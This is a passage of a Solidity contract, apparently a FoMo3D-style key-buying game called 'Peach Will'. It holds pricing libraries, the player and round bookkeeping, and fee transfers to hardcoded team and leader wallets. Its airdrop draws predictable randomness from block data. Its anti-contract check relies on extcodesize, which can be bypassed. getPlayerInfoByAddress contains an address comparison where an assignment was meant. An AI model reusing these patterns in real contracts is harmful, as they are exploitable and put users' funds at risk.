function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library UintCompressor {
using SafeMath for *;
function insert(uint256 _var, uint256 _include, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
_end = exponent(_end).mul(10);
_start = exponent(_start);
require(_include < (_end / _start));
if (_include > 0)
_include = _include.mul(_start);
return((_var.sub((_var / _start).mul(_start))).add(_include).add((_var / _end).mul(_end)));
}
function extract(uint256 _input, uint256 _start, uint256 _end)
internal
pure
returns(uint256)
{
require(_end < 77 && _start < 77, "start/end must be less than 77");
require(_end >= _start, "end must be >= start");
_end = exponent(_end).mul(10);
_start = exponent(_start);
return((((_input / _start).mul(_start)).sub((_input / _end).mul(_end))) / _start);
}
function exponent(uint256 _position)
private
pure
returns(uint256)
{
return((10).pwr(_position));
}
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x19dB4339c0ad1BE41FE497795FF2c5263962a573);
address public teamWallet = 0xE9675cdAf47bab3Eef5B1f1c2b7f8d41cDcf9b29;
address[] public leaderWallets;
string constant public name = "Peach Will";
string constant public symbol = "PW";
uint256 private rndExtra_ = 1 hours;
uint256 private rndGap_ = 15 seconds;
uint256 constant private rndInit_ = 10 hours;
uint256 constant private rndInc_ = 88 seconds;
uint256 constant private rndMax_ = 10 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(54,0);
fees_[1] = F3Ddatasets.TeamFee(41,0);
fees_[2] = F3Ddatasets.TeamFee(30,0);
fees_[3] = F3Ddatasets.TeamFee(40,0);
potSplit_[0] = F3Ddatasets.PotSplit(37,0);
potSplit_[1] = F3Ddatasets.PotSplit(34,0);
potSplit_[2] = F3Ddatasets.PotSplit(25,0);
potSplit_[3] = F3Ddatasets.PotSplit(32,0);
leaderWallets.length = 4;
leaderWallets[0]= 0x326d8d593195a3153f6d55d7791c10af9bcef597;
leaderWallets[1]= 0x15B474F7DE7157FA0dB9FaaA8b82761E78E804B9;
leaderWallets[2]= 0x0c2d482FBc1da4DaCf3CD05b6A5955De1A296fa8;
leaderWallets[3]= 0xD3d96E74aFAE57B5191DC44Bdb08b037355523Ba;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
modifier onlyDevs() {
require(
msg.sender == 0xE9675cdAf47bab3Eef5B1f1c2b7f8d41cDcf9b29 ||
msg.sender == 0x0020116131498D968DeBCF75E5A11F77e7e1CadE,
"only team just can activate"
);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 20);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
teamWallet.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 10;
teamWallet.transfer(_com);
uint256 _leader = _eth / 20;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_leader =_leader.add(_aff);
}
leaderWallets[_team].transfer(_leader);
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(26)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
